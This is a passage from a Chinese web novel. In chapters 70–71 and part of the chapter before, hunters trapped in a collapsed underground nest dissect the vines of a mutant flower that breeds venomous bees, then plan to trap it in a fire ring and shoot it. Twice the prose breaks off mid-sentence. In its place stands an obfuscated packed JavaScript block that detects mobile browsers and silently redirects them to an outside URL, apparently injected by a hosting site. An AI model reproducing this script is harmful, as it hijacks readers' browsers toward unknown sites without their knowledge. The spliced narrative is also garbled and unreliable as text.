在他们身后,甬道轰然垮塌。灰白的骨质支撑结构支离破碎,大量泥土倾倒而下,激起阵阵让人咳呛不已的烟尘。 不幸中的万幸,这场崩塌很快停止。众人跑得快,它没有直接对他们中的任何一个造成直接的伤害。 不幸中……那占据了大部分的不幸,他们安全退出巢穴的生路被断绝了。 而且,即便眼前的崩塌不再继续,他们仍能听到隐约的垮塌声,如同远在天边的闷雷般,一下接一下地响。 两分钟后,大群里出现新的消息。 原本跟着齐姐,但决定及时退出的数个紫蝎告知,因受到牵连,他们那边离开巢穴的通路也坍塌了。有人给在外值守的紫蝎发去了消息。 事态急转直下。 时却等人目瞪口呆,你看我我看你半晌,彼此无言以对。 柳广知的脸色阴沉得可怕,看上去颇想给地上的小辫紫蝎补上几刀泄愤。 他翻出解毒药塞进石宇嘴里后,捏开对方的嘴巴就往里咕咚咕咚灌水。 石宇迷迷瞪瞪地瞧了他一眼,跟被打了镇定剂的牛一样安详,完全失去了战斗力。 左撇子女扶额喃喃说出门没看黄历,今天就不该进这个巢穴。她的同伴弱弱地小声道,是她决定要来的。 左撇子女剜他一眼,抬靴狠狠地踩得他倒吸凉气。 “不能光坐等蝎子,鬼知道他们什么时候到,多久挖到我们这里,说不定会嫌麻烦就不干了,”柳广知冷冷道,“塌成这样,这里保不齐要二次坍塌。” 蒋云霞抹了把满是灰白粉末的脸,呸呸两声。 “我记得,那两只穿地兽挡了个通道口。我们得回去,找齐姐和疯牛他们,那通道可能通向哪个出口。” 大概率是通向的,那个通道口有风的流动;时却一边给咳嗽得脸红的沈司奥拍背,一边想。 不得不选第三条路了。 解决那株长得乱七八糟的变异植物。瞧瞧被两只穿地兽挡着的是不是新出口。 不然,谁都别想尽快离开。 70. 莽气 将小辫紫蝎和板寸紫蝎这两个难兄难弟拖得离坍塌位置更远,又给小辫紫蝎喂了药,左撇子女和同伴自觉仁至义尽。 “等等,救命钱和药钱还是要收。” 左撇子女眼珠子一转,上下摸索小辫紫蝎和板寸紫蝎一番,从他们身上薅走不少东西。 蒋云霞联系齐姐。 后者说试出了些变异植物的新情报;既然已知的退路被断,众人最好尽快会合。 重新集合的地点被定在一个三岔路口,位于齐姐来时的路上。 由此,时却等人不得不重新经过那个穿地兽和变异植物都在的空间。 如履薄冰的穿行途中,时却首先留意到,之前那株变异植物脱落的几根发黄藤蔓不见了。 而就像她之前听到的,这变异植物窝回了穿地兽的身后,地面上如今只有它留下的、蹭得凌乱的假琥珀痕迹。 兜兜转转,才散开不久的紫蝎们再度碰头,将齐姐指定的三岔路口挤得满满当当。 “那小辫子呢?”另一路原本打算离开巢穴的紫蝎里,有人磨着牙,恨恨地问左撇子女。 “随地丢了,”左撇子女理直气壮,“我还得背着他悉心呵护不成?” 一个紫蝎道:“外边望风的人说,蝎子让我们报清楚地下的情况,再开救援的价钱。” 柳广知揉揉眉心:“报上穿地兽,救援的价钱估计就是穿地兽再加一笔。” “这谁不心里有数?关键是那朵会满地走的花,”泥猪凉凉道,“说了它,就等着被坐地起价吧。” 左撇子女嘴角一抽,“隐瞒的话,后面绝对会被找麻烦。” 一个紫蝎轻轻开口: “有那株变异植物在,等一等,什么时候地上跑过去只大玩意,这儿二次坍塌,全塌完,蝎子过段时间再回来刨开,对他们来说是不是更省事?” 到时候如果变异植物给压死了或半死不活,皆大欢喜。 如果没死——那肯定也跑了,徒留下让人捡现成的、被假琥珀包得严实的两只穿地兽,直接成为绝赞礼包,大自然的馈赠。 一时间,沉默像某种有害毒素,在三岔路口弥漫开。 时却没想到不过多出来柱未知的变异植物,事情能变得这么复杂。 她仔细想了想每个人的顾虑,发现竟然不无道理。 纵然一路下来,蝎子这个组织处理任何事情看上去都井井有条,仿佛自有一套道理…… 但究其根本,它不是什么奉公守法的国家机构。 “给地上的人发信,装死不回。”齐姐果断道。 “四十分钟后或听到坍塌声且我们还没消息的话,再让他们联系蝎子,说我们接受任何价钱。” 无人反对这一策略。 时却三人挤到了个靠近齐姐和疯牛的位置。 疯牛脚边一溜排开四个黑色袋子。她不让人过于凑近它,以活像被欠了五百万似的目光杀退每个胆敢凑上前的人。 那袋子不知用什么制成的,看上去厚且硬实,里头看样子装的是几根条状物,似乎是活的,频率不高地偶尔挣两下。 时却心里有了点数。 “还有啥磕没唠的,没了吧?”疯牛道,“没的话,轮到我了。” 她开始讲述她、泥猪和齐姐团队的行动。 变异植物行动时脱落下来的藤蔓,自然不单时却看见了。 对于留下的几人来说,那几根有枯萎之相的藤蔓宛如瞌睡时送上前的枕头。 选择第二条路的人离开后,几人捆了点树枝,做成根粗糙的长杆,远远地去撩拨那几根藤蔓,确认它是否完全枯萎,又或者说是失去活性。 事实证明,这谨慎很有必要。 头几下,没有藤蔓动作;又几下,一根稍粗些的藤蔓猫尾巴似地晃了晃,似要去勾卷孜孜不倦骚扰自己的破树枝,却显得懒洋洋的,最终也没动弹起来。 疯牛:“我们想,可能是刺激不够的原因。” 于是,还没发硬的猫兔尸体再度派上了用场。 他们退远了点,疯牛片下块猫兔肉,用随身的纱布裹在长杆头部,拿打火机烤热,再拿去试探。 血肉的力量就是不一样吗。 这回,长杆才伸到距离几根藤蔓十数厘米的地方,所有的藤蔓均或多或少地蠕动起来。 托它们动起来的福,齐姐一下数清了这几根藤蔓共计多少,四根。 还是最初就动弹的那根藤蔓比较“活泼”,率先蛇一样地缠住了长杆的头部。 应该是多少枯了、不太健康的缘故,疯牛试着收杆,少用了些力气,便将长杆带纱布拉了出来。 她刚想顺势把长杆往回收,另一根藤蔓的端部表皮倏忽开裂,弹射出来根青蛙舌头样的玩意,猛地击向长杆绑有猫兔肉的位置。 “蛙藤?!”有紫蝎脱口而出。 疯牛看了对方一眼,没肯定亦没否定,自顾自往下说。 那一击有些力道。由树枝凑合制成的长杆咔嚓一下,最前端的一小段应声断裂,掉落在地。 “青蛙舌头”缩回藤蔓里,最先动弹的藤蔓迟缓地贴着地面,往猫兔肉的方向游去。 长杆虽断,却仍有不少长度。疯牛拿捏着尺寸,上前一步补足长度,拿新的杆头抵住掉在地上的旧杆头,往回拨拉。 她拨拉的速度不慢,没几下,裹着猫兔肉和断枝的纱布团远离藤蔓们。 随着距离的拉远和猫兔肉自身温度的下降,游动的那根藤蔓肉眼可见地变得茫然。 它寻觅不到猎物踪迹,索性原地弯成一盘蚊香,停止活动。 正当众人以为事情到此为止时,之前弹射出蛙舌的藤蔓有了新动作。 它的表皮第二次开裂,然后并非蛙舌,而是一只不过杏仁大小的蜂,从中飞了出来。 照常理讲,这只完全不该出现在藤蔓里的蜂在空气中盘旋了几下。 随后,它悄无声息地、目的明确地朝猫兔肉所在的方向飞去。 行至一半,它悬空几息,似感应到了在场还有更能作为猎物提供血肉的人类,毫无预兆地改换方向,慢吞吞朝疯牛几人飞来。 蜂仿佛成了引路者。 吐出它的藤蔓似有所感地朝三人缓缓游来,剩余的三根倒还老老实实地待在原地。 待蜂靠近,齐姐接过队友递来的工兵铲,信手把这只小家伙拍晕在地,再补上一脚,立时踩死。 至于跟随它的指引,奋力爬来的藤蔓,则被泥猪一飞刀轻巧地钉在了地面上。 保险起见,几人又试了一次猫兔肉引诱大法。 四根藤蔓和失去了所有力气与手段,瘫在地上消极怠工,最多划水似地动弹两下。 泥猪划了根防风火柴丢到附近,它们倒是忙不迭游开了些。 齐姐的工兵铲的柄部能拉长。 估摸着搞清楚了这几根藤蔓的能耐,她拿拉长了的工兵铲,将这四根被迫参与了实验的藤蔓,统统铲起装走。 而齐姐的一个队友捡回掉在地上的“纱布+猫兔肉+树枝”三明治,赫然发现上头被藤蔓卷过的位置上扎了一排带黄白软体的尾针,围成圈状。 “那四根藤蔓,就分别装在这四个防割防刺袋里。”疯牛咧嘴露出一个不带任何感情/色彩的笑,指了指脚边的黑色袋子。 “别离得太近,保不齐哪个位置就伸出来了根尾针呢?” ……较为靠近这个袋子的几个紫蝎纷纷往边上挪了点。 疯牛毫不客气:“这就对了,再散开些,给齐姐点动作空间。” 她这话说得没头没脑,蒋云霞倒没太意外,见状补道:“是打算处理下它们,再放出来进一步看看?” 齐姐嗯了声,接过队友递来的一把柄部不短的小巧锤子,扯过一个黑袋,抬手便砸。 她砰砰数下,再如法炮制,把四个黑袋全敲了个遍。 ……不合时宜地,时却想到了一种烹饪前锤肉以入味的处理手法,还有记忆里一些名为“暴打xx”的饮品名字。 当然了,齐姐不可能毫无逻辑地殴打藤蔓。时却发现她下手的方式颇为奇特。 她是隔着距离敲击的。 如果将一根藤蔓分为头、尾、中的三个区域,那么她将敲击的落点均匀地分散在了这三个区域。 不时地,她会以锤子为中间媒介推开一点黑袋,露出底下的泥土,以观察藤蔓组织液的渗出情况。 除此之外,尽管砸是砸在每条藤蔓的头中尾三个区域,但在四条藤蔓各自对应的三个区域里,她落锤的点都不一样。 “差不多了。”齐姐道。 她拿锤子挨个捅咕几下黑袋们,确认每个袋子都死气沉沉地毫无反应。 “解开吧,小心点。祝我们好运。” 疯牛将第一个黑袋解开了,跟倒垃圾般一抖擞,倒出里头的藤蔓。 啪嗒一声,藤蔓掉在地上。它被齐姐击打过的位置扁得如同张摊开了的煎饼,死得不能再死。 乍一眼看上去,它的外观粗细交替着,活像根没有扭转纹的麻花。 它的表面流出大量淡绿汁液,和本裹在外皮的假琥珀乱七八糟地混杂在一块,呈现出一种让人恶心的黄绿色。 剩下几个黑袋里的藤蔓都差不多。区别只在于四根藤蔓里,有一根藤蔓的枯黄色比其他藤蔓来得更浅些。 这没给人以“它枯萎的程度较其他三根藤蔓来得更浅些”的感觉,反倒让时却想起一件事情。 百穿花下的藤蔓大体分为三种颜色:数量较多的青翠色,数量较少的深绿色,以及即将枯萎的黄绿色。 如果把代表生命进入尾声的黄绿色除去,另外三根更像枯萎前具有为青翠色的外观,这根藤蔓更像枯萎前具有深绿色的外观。 “就它里边飞出了毒蜂,”疯牛捞起这根藤蔓,“它的颜色也和其他的不一样。” 在众人的无声注视下,她跳过没法切的“煎饼”部分,剖开这根藤蔓原本最靠近百穿花的头部区域。 出现在时却面前的,是一个说熟悉也熟悉,说陌生也陌生的结构。。 熟悉的部分在于,她曾削开过蛙藤,这藤蔓的剖面同蛙藤的结构有六分相像: 暗绿色的断面中间具有狭长的通道,肉柱样的软体静躺其中。 结合疯牛之间的讲述,那肉柱样的软体无疑是这根藤蔓的“蛙舌”。 至于陌生的部分—— 蛙藤内部肉柱样的蛙舌有多根,而这藤蔓内仅有一根,是个独苗苗。这根独苗苗与通道之间并非搭配得严丝合缝,反倒留出了些多余的空间。 齐姐掏出一个样品袋,里面装着只死蜂。她将死蜂和那空间虚虚一比,二者的宽度竟差不多。 她道:“看来这空间就是给毒蜂留的了。” 说罢,她点了一下藤蔓的头部,那里是藤蔓原本和百穿花连接的部位,有些坑洼处,看上去像是被什么东西咬紧后留下的。 “我怀疑这点凹凸,是百穿花内异变出了什么齿牙一样的东西,用来扣紧藤蔓。” “藤蔓这玩意毕竟早晚会枯,等哪根藤蔓不中用,齿牙一松……啪嗒,就能丢掉不好使的累赘了。” 齐姐再一指蛙舌的一端,“你们仔细看这里。” 这根蛙舌的端部与藤蔓内的狭长通道连为了一体;不过,其与通道相连的部分,并非通道的端部。 自该连接处后,通道继续延伸,贯穿了藤蔓的头部。 电光火石间,时却联想到了百穿花内能养蜂的结构。 这根藤蔓内的通道可容纳蛙舌与蜂,通道又连通百穿花,说明什么? 藤蔓卡进百穿花里后,毒蜂能在百穿花和藤蔓之间穿行。 当它蛰了猎物,失去尾针和部分内脏后,再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856222|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回到百穿花里养至康复,即可爬回藤蔓中,重整旗鼓,蓄势待发。 “你们都看到了,那上花下藤的变异植物感应范围不大,”齐姐捏捏鼻梁,“可加上一个有翅膀的,事情大不一样……我想毒蜂既能成为它的探子,也是它进攻的手段之一。” “百穿花下的藤蔓不能叫蛙藤,硬要称呼的话……蛙藤的变种吧。疯牛,继续。” 疯牛切开这根藤蔓的剩余部位。 正常来说,蛙藤一经切开,里头的黏液能跟被捏爆了的解压球似的,争先恐后地外溢。 这也是蛙藤的蛙舌表面沾满了黏液的缘故。无疑,这种黏液是种辅助的狩猎手段,有助于蛙舌黏附猎物。 可相较之下,这根藤蔓的内里干净清爽多了,只在中部的狭长通道侧壁有些晶亮的水润光泽,比起用于黏附猎物,看上去更像是某种润滑液。 便于独苗苗“蛙舌”弹出的润滑液。 至于为什么需要这种润滑…… 疯牛捏起藤蔓靠尾部的“蛙舌”甩了甩,“蛙舌”似钟摆般摇晃起来,末端显出种颇有分量的质感。 这根“蛙舌”的大部分是肉色,看上去软塌塌的,唯有末端数厘米处约为锥形,尖端被呈薄薄的弧状,并呈现出一种冰冷的瓷器感。 一个紫蝎惊讶地指着那末端:“这段是硬的?” “是,”齐姐回答,“那时的树枝就是直接被它砍断的。” 疯牛手指下划,捏紧那末端,尖端朝下地往藤蔓上一处被齐姐砸扁的“煎饼”位置戳。 尖端如刀入豆腐似的,直接插/进那处,再离开后,留下个穿透了的窟窿。 “真要命,”有人嘀咕,“这年头,又多出种和自带锐器没什么差别的变异生物。” “不。”蒋云霞绷紧了脸,严肃地纠正。 “这还只是这根藤蔓。别忘了,它的颜色和其他藤蔓还不一样。疯牛他们刚才的试验里,还有这根藤蔓没法做到的事。” 时却眼皮一跳,吐出四个字:“……圈状蛰痕。” 这根生命力旺盛时期应是深绿颜色的藤蔓,具有“放出单只毒蜂”和“弹射蛙舌”两种进攻手段。 它无法做到卷起裹了猫兔肉的纱布后,在其上留下一圈尾针的事情。 紫蝎们面面相觑。 齐姐道:“把其他一块三根剖开吧。小心点,注意里面可能还会有活着的毒蜂。” 疯牛慢慢将余下三根藤蔓开膛破肚,叫它们内里一览无余地摊开。 ——意料之中地,另外三根藤蔓的颜色果真与那根藤蔓不一样。 ——意料之外地,另外三根藤蔓里各有两条狭长通道存在,其中的一条贯穿整根藤蔓,里头满是不明液状物。 疯牛将拿液状物抹在一块片得薄如蝉翼的猫兔肉上,猫兔肉的那处被分解、液化。 齐姐一副债多了不愁的模样,淡淡评价:“和苍蝇、水蛭之类玩意的进食伎俩差不多。那液体估计是酶和腐肉的混合物。” 然后,另一条狭长通道内,没有任何舌状物,而是每隔一段距离凹下去一个小坑,每个小坑里趴窝着一只毒蜂。 各个小坑的底部有着细小的通向外界的孔,可供毒蜂的蜂针刺出。 此外,三根藤蔓里,两根藤蔓内的毒蜂均死翘翘了。 只有一根藤蔓里的毒蜂不仅死得不能再死,还是尾部光秃秃地死去的——那正是此前卷住猫兔肉的藤蔓,它残余的活性比另外两根大得多。 至此,紫蝎们终于能初步总结出这新型变异植物的情况。 这玩意大约食腐,能在青翠色藤蔓里的一条通道中分泌出某种酶,将肉类分解为液态,再进行吸食。 它能从深绿色的藤蔓里射出锐器般的“蛙舌”,这是一种物理伤害手段。 它能从深绿色的藤蔓里放出侦测用的毒蜂。显而易见地,那只毒蜂如果有兴致的话,也不介意顺便蛰点什么。 这应当是之前受害者被单点蛰伤的由来。 它还能用青翠色的藤蔓缠绕猎物,再于缠绕时,令青翠藤蔓内的毒蜂蛰向猎物。 这应当是变异狼、巡逻的战斗型仿生人和少数受害者的圈状伤痕的由来。 所有毒蜂的尾针自带麻痹效果,足以让猎物不易察觉自己被蛰。由于尾针入体后约两分钟会化掉,因此造成了之前被蛰者的无法察觉。 当前还有一种猜测是,尾针的融化,属于向被蛰者释放毒素的重要步骤。不知道及时拔除尾针,是否能起到解毒的效果。 最重要的是,所有的毒蜂在蛰过猎物之后,都能顺着藤蔓爬到百穿花的部位,重新养出蜂针,再回到自己的岗位上,等待着下一次出击。 众人用了几分钟时间消化这些信息。 “那么,谈谈计划吧。”柳广知率先出声。 左撇子女叹气:“啧,快点把这破事了了。” 有紫蝎狠呸一声,应和道:“对。真X的倒了血霉。” “终于不抓瞎了,老子这几天担惊受怕的。” “干/死那株鬼东西,和穿地兽一块打包了,大赚一笔!” “说说吧,怎么搞?” “齐姐!” 紫蝎们一脸确定地看向齐姐,等待她开口。 大多数人此前选择放弃穿地兽,离开巢穴,无疑是对未知的一种惊惧和谨小慎微。 如今,变异植物的神秘面纱被有理有据地扒下不少,结合外有来自蝎子的压力,这群猎人们虽略显烦躁,总体上却透出了一种“来都来了,这倒霉催的玩意我得赶紧处理,不能让蝎子捡现成”的神气。 哪怕尚未窥见全貌,无论“惊惧”还是“万分谨慎”,他们面色里的这些感情少多了。 “将脑袋拴在裤腰带上来渴求生存资源”这种野蛮、莽气、生机勃勃的欲/望取而代之。 时却旁观着这一幕。 71. 火圈 定下解决那株变异植物的目标,“该如何实现”这一问题随之而来。 毕竟环境特殊,基于地下巢穴那最好别受力的支撑结构存在,围猎它的过程中,众人需要尽量限制它的行动,避免它撞击周遭的侧壁。 齐姐在半空中投出一个全白的全息屏幕。 “那个空间有不少丰容用的干草和树枝,八成是这个巢穴里的‘娱乐间’。” 她举起手指划动着,三两下在屏幕上画出一副‘娱乐间’俯视地形图,用两个交叠的长方体代替两只穿地兽,一个和长方体部分重叠的圆形代替那株变异植物。 “巢穴四通八达,氧气的事情暂时不用担心。我觉得可以清理、收集那些干草和树枝,在穿地兽的尸体前围成这样形状的易燃物……” 一边说着,她一边在两只穿地兽的侧边画出一个“Ω”形状。“Ω”的开口正对穿地兽,仿若个请君入瓮的险恶大嘴。 她从代表花藤的圆形上引出一条线,直入“Ω”内。“我们引诱那株花藤——为方便称呼,我先这么叫吧——通过这个口子进入。” “然后,迅速拿易燃物封闭这个口子。”她在“Ω”的开口上划下一条虚线。 “点火,”她沿着“Ω”的形状画上一圈波浪,“把花藤困在火圈里,变成定点的靶子。” 末了,她拍拍手。“大体上是这样。按照执行的步骤顺序,商讨商讨细节?” 左撇子女谨慎道:“那些支撑结构,它们耐高温吗?” “不算耐,不算不耐,凑合。”齐姐回答,“不直接接触,只烤一烤的话,不至于有什么损伤,到时候我来控制火圈的燃烧高度。” 左撇子女的同伴问:“毒蜂有几率飞出那个火圈,这个得自己顾自己了,对吧?” “是。不过能放出毒蜂的深绿色藤蔓占比不大,我会专门安排注意毒蜂的人。” 柳广知:“清理和收集部分,编几根长树枝,参考你们之前试探藤蔓那样,拨拉着弄?” “这样最安全。我到时会划条安全线,人不超过那条线,花藤不会感应到。” 一个紫蝎开口:“分个组,以流水线的方式分工,这样快些弄。” 齐姐点头。 “易燃物的话,”另一个紫蝎道,“和冷光棒一样,凑?” “对。娱乐间里的干草和树枝也尽量拿来用。” 齐姐叫来一个队友,朝对方低语几句。那人翻出几块固体燃料和一盒凡士林放在地上。 众人心领神会,纷纷去翻自己的随身背包。没一会,地上固体燃料和凡士林的数量倍增。 齐姐点了一下屏幕上的“Ω”形状。 “来说说点火的细节。我预计这块分成两部分人,一部分人负责点燃‘Ω’这块的易燃物。” “至于另一部分人,需要在花藤走进后,带易燃物封住进口,并点燃这部分易燃物——‘Ω’的易燃物可以提前摆好,进口的不行,花藤一走过,能全给蹭开。” “火圈点燃后,还得防止被狗急跳墙,”蒋云霞若有所思,“万一花藤冒火冲出来,哐哐撞墙,怎么办?” 齐姐道:“尽量别给它那个机会,速战速决。几个人带了散弹枪?” 时却肩上恰好背有杆散弹枪。她依言举手。 散弹枪近距离射击时威力大,能给被射击的东西打成筛子,但考虑到巢穴侧壁的支撑结构,不少人在进入前,没选择带这种家伙。 众人共带有六杆散弹枪。 “我需要四杆散弹枪围在火圈边,负责斜向下朝花藤射击,限制花藤的行动。”齐姐严肃道。 她沿着“Ω”形状画了几个打叉标记,示意人员排布。 “换句话讲,就是恫吓它。它对声音不敏感,但散弹枪那种巨响不一定,就算确实是实打实的聋子,被打到藤蔓部分,怎么也知道此路不通。” “保险起见,其他人到时候也在这几个点附近,用手枪或者弩,爱怎么射怎么射。” “射击的时机你们自己选,觉得它想冲出火圈的时候,或者任何时候,都可以。只要一点需要注意——” 齐姐加重语气:“必须确保你们的子弹全部打在地面上,绝不允许平举开枪!” 泥猪抱臂接道:“要么啪一下干到墙上,大家手拉手一块入土为安。” 道理是这个道理,不过从他嘴里说出来……边上的两三个紫蝎纷纷无语,忍不住朝这嘴贱之人翻去白眼。 “剩下两杆怎么安排?”疯牛说,“用来弄死那株花藤?你一直没说要怎么弄死它。” 齐姐挑眉:“你猜的没错。剩下那两杆枪,我的确想安排成送那株花藤上路的杀器。” “花朵部分大概率是它的要害所在,我们得挑两个人担此大任,把它鲜艳的小花朵给崩个千疮百孔。” “那花藤直立起来不低,站着的话,根本没法枪口朝地面打,”一个紫蝎忍不住开口,“不是要避免打到墙上……” 话说到一半,齐姐抬手在全息屏幕上迅速打下两个叉,那紫蝎立马闭上了嘴。 那两个打叉标记,分别位于代表两个穿地兽的交叠长方体两端。 “花藤进火圈后,我们需要两个人爬到两只穿地兽上,”齐姐话中透出冷酷的杀意,“枪口朝下,砰。” 食指点着穿地兽身上的其中一个叉,她看向蒋云霞,倾向昭然若揭。 蒋云霞笑了笑,看上去并不意外。 “你怎么说,云霞?你枪玩得不错。” “受宠若惊,当然干,”蒋云霞咧嘴露出一口白牙,拍拍胸脯,“至少我的性命有小半能捏在自己手里了。” 齐姐的视线在众人之间巡梭:“另一个的话……” 她询问疯牛和时却不认识的另一个中年紫蝎。 那紫蝎说,前两天狩猎时他眼睛不慎被一条毒蛇的毒液喷溅到,虽然及时解了毒,但后遗症尚未完全消退,至今仍不时视线模糊。 “静态开枪的准头没问题,”他说,“动态靶的话,不太行。” “我干倒无所谓,”疯牛歪了歪头,“不过……” 这人毫无预兆地转眼看向时却,顶着张面无表情的脸,嘴唇开合:“齐姐,你该赶赶潮流了,你确定是我?你看过蝴蝶的视频没,她比我疯多了。” 泥猪极为捧她场,应景似地发出噗嗤一声。 时却丈二摸不着头脑,心说她在绞肉场里怎么就疯了,少说够得上个“五讲四美”的标准。 ……难道是小巷里那一场?那个虽然限制了点,不过还好吧,顶多男同志看了下/身一凉。 而且那朵五瓣花有柱头,不是个雌蕊吗? 时却莫名其妙,不禁一通胡思乱想。 最令她惊诧的是,少部分紫蝎听到疯牛的话后,竟露出了颇为赞同的神色。 她满脑袋官司找不到缘由,只好朝蒋云霞投去一个询问的眼神。 蒋云霞眼神一闪:“啊,这个……” 隔空都能瞧见时却脑袋上漂浮的问号,泥猪乐不可支,抢先一步: “说你和变异狼的那次。你不知道?蝎子里有不少人传着看,传着传着就被挂出来小范围卖了。标题是‘震惊,居然有人这样打狼’……” 左撇子女咳嗽两声,捅了一下边上的同伴。同伴无奈道:“礼貌询问,在哪里买?” “能活着出去的话,我转卖你们,”泥猪笑眯眯,“谁还有兴趣的话,一起……” “好了,玩笑先开到这里,”齐姐叫停,拉回话题,“既然疯牛这么说了,蝴蝶?” 时却:“……” 从风险控制的角度出发,时却不倾向于拒绝。正如蒋云霞说的,紧要的关节掌握在自己手里,总归更有安全感些。 她看了一眼沈司奥,后者对她点点头。 “我身边这个小老板,跑不动打不动,”她想了想说,“齐姐,替我关照关照他?” 齐姐打量沈司奥一眼,允诺道:“没问题。” 随后,除已定下的蒋云霞和时却外,齐姐熟练而迅速地确定、分配清楚了各个环节的人员。 众人又讨论了些细节,包括但不限于各杆散弹枪持有人出意外时的补位方法、万一围猎失败的紧急撤退路线等。 再三确认无误后,紫蝎们逐一往娱乐间去,预备展开这场围猎。 路上,时却考虑到毒蜂可能会飞出火圈,索性把自己戴着的针织帽扣到沈司奥的脑袋上,又让他翻出背包里一条能把人从脖子到下巴遮得严严实实的围脖,戴进防毒面罩里。 主打一个能少露点皮肤就少露点。 沈司奥试着呼吸了一下,瓮声瓮气道:“你老板要被闷死了。” 时却扯了扯这多事未成年的围脖,“那把围脖上面的部分压在下巴上。” 蒋云霞边检查从别人那拿来散弹枪,边发出响亮的啧啧声。 “下回接保镖活儿的时候,蝴蝶,你得把‘能顺带照顾雇主’这项加上,然后提高点价钱。” 时却一本正经地说:“很对,后头我得涨价,狠狠地涨。” 沈司奥朝这两名你抖包袱我捧哏的同伴翻了个白眼。 一行人回到娱乐间。 这儿的光景看上去和他们第一次进来时没什么两样,琥珀虫们龟缩不出,两只死透了的穿地兽在对侧叠叠乐。 而这回众人知道,还有一只阴险的花藤躲在穿地兽身后,并且堵住了他们尽快离开巢穴的希望。 它必须死,死得越快越好。 参考最初惊动了那株花藤时各人的站位,以及后面回收脱落藤蔓的经验,齐姐拿匕首在地上划出一条安全线,众人只在这条安全线内活动。 按照分工,紫蝎们形成流水线作业的形式。 有人负责捡拾树枝和干草,有人负责将前者捡来的树枝捆成长杆。 还有人专门拿捆成长杆的树枝或自己带的可伸缩工具,去撩拨回更多的树枝干草,或清理预备放置易燃物的地方。 甚至还有几个专门负责易燃物的家伙。 固体燃料当然不需要额外加工。这些人主要负责收拢干草,捆成数捆,再拿凡士林往上局部地抹,后边用于助燃。 沈司奥也被分配了任务,他和齐姐的一个队友负责把尽量多的灯粘在侧壁上。 尽管每个紫蝎身上都带了照明灯,但谁知道打起来后会发生什么。 时却和蒋云霞属于涂抹凡士林组。 蒋云霞手上动作不停,嘴上对时却说,一会攀爬穿地兽时下手要重些,因为假琥珀多少有些润滑作用,容易使人脚滑。 时却随口问道:“假琥珀易燃吗?” “一般吧,要看和什么比,”蒋云霞道,“和我们身上穿的衣服比,和地上那些干草树枝比,不易燃。” 没多久,娱乐间的一片地面被清了出来。数块固体燃料通过被抛掷或被树枝长杆推动的方式完成就位,摆成“Ω”形。 随后,一些涂抹了凡士林的干草被以同样的搬运方式覆在固体燃料上。 左撇子女的同伴被分配为持散弹枪的人之一,左撇子女抽出把工兵铲,一手持枪一手持铲,认真向同伴承诺:“有哪只不长眼的毒蜂飞过来,我直接给它拍晕,保准踩进地里抠都抠不出来。” 左撇子女的同伴双手把在散弹枪上,轻笑:“靠你了,铲子侠。” 柳广知也是持散弹枪的人之一。 片刻前他一进娱乐间,就把还傻呆呆的石宇搡到了个角落放置,如今回头一看,见同伴还一副呆若木鸡的模样,叹了口气,转而将这大个子塞进来时的岔路口中。 他取了张银白色保温毯,在一端打了个结,将人聊胜于无地遮住。 石宇人高马大的,罩上保温毯后闪闪发光,远着看如同盏久不使用、又占地面积颇大的落地灯。 他看了几眼,觉得有些好笑,用终端把这一幕拍下,这才返回娱乐间内。 时却和蒋云霞分别再次确认了一遍手中散弹枪的状态。她们找了个角落站定,预备一会花藤被困火圈后,贴着侧壁往穿地兽那冲。 沈司奥冲两人点点头,走到齐姐边上。 齐姐瞟了一眼这浑身上下遮得严严实实的机械师,点头肯定道:“你看上去挺难下口。” 沈司奥:“……谢谢。” 齐姐礼貌性地朝他笑笑。见紫蝎们各就各位,她说了声开始。 最先出场的是由死去猫兔尸体提供的……一只大腿。 这只来源于尸体届劳模的大腿被拔去不少了毛皮,由疯牛亲手烤得肉香四溢,腿骨根部束了根细线,吧唧一下被甩两只穿地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14873216|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兽的跟前。 四五秒钟后,湿黏蠕动声响起。 熟悉的百穿花探出,十数根藤条照例翻越穿地兽,七扭八弯地顶起艳红的五瓣花,似网上蜘蛛般灵巧地往下爬。 落了地,这花藤怪物张牙舞爪,直奔热气烘烘的猫兔腿。 距离猫兔腿尚有几十厘米远时,一条深绿色藤蔓已然按捺不住,贪婪地咧开一张有弧度的笑嘴,尖端硬实发亮的蛙舌从中极速弹出,闪电般朝猫兔腿射过去。 疯牛手腕一动,指间捏着的细线深勒入皮肉中,先紧绷后松弛。 无声地,猫兔腿被扯得离花藤更远,蛙舌落了空。 以单膝点地跪着的疯牛舔舔嘴唇,如情人缱绻私语般笑道:“还到开饭时间呢,甜心。” 她边上待着齐姐的一个队友,侧身对着她,手里拿了把对着她指间细线的剪刀,听她语气怪肉麻的,被激得手臂起了鸡皮疙瘩,心道这人不愧是和泥猪能玩到一路去的。 ……大部分时间看着还行,怎么单一个放风筝的活儿,就变态起来了。 不过用更肉麻些的说法,疯牛和花藤完美诠释了什么叫“一个愿打一个愿挨”。 藤蔓的蛙舌落了个空,但猎物的气息的确一副唾手可得的模样,于是花藤仅原地一顿,花柱微颤两下,便忠实地遵从感觉器官。 跟追着肉骨头的狗无甚区别,藤蔓舞动狂扭着,紧跟着猫兔腿远离的方向追去。 不过三两下,花藤逼近被精心布置好的“Ω”形陷阱。 疯牛立时放慢速度,小心翼翼地引诱花藤,好让其顺利通过陷阱的入口。 在她身边,泥猪烤热另一只猫兔腿。如果疯牛那边的猫兔腿不慎被卷走,他会立即将诱饵补上。 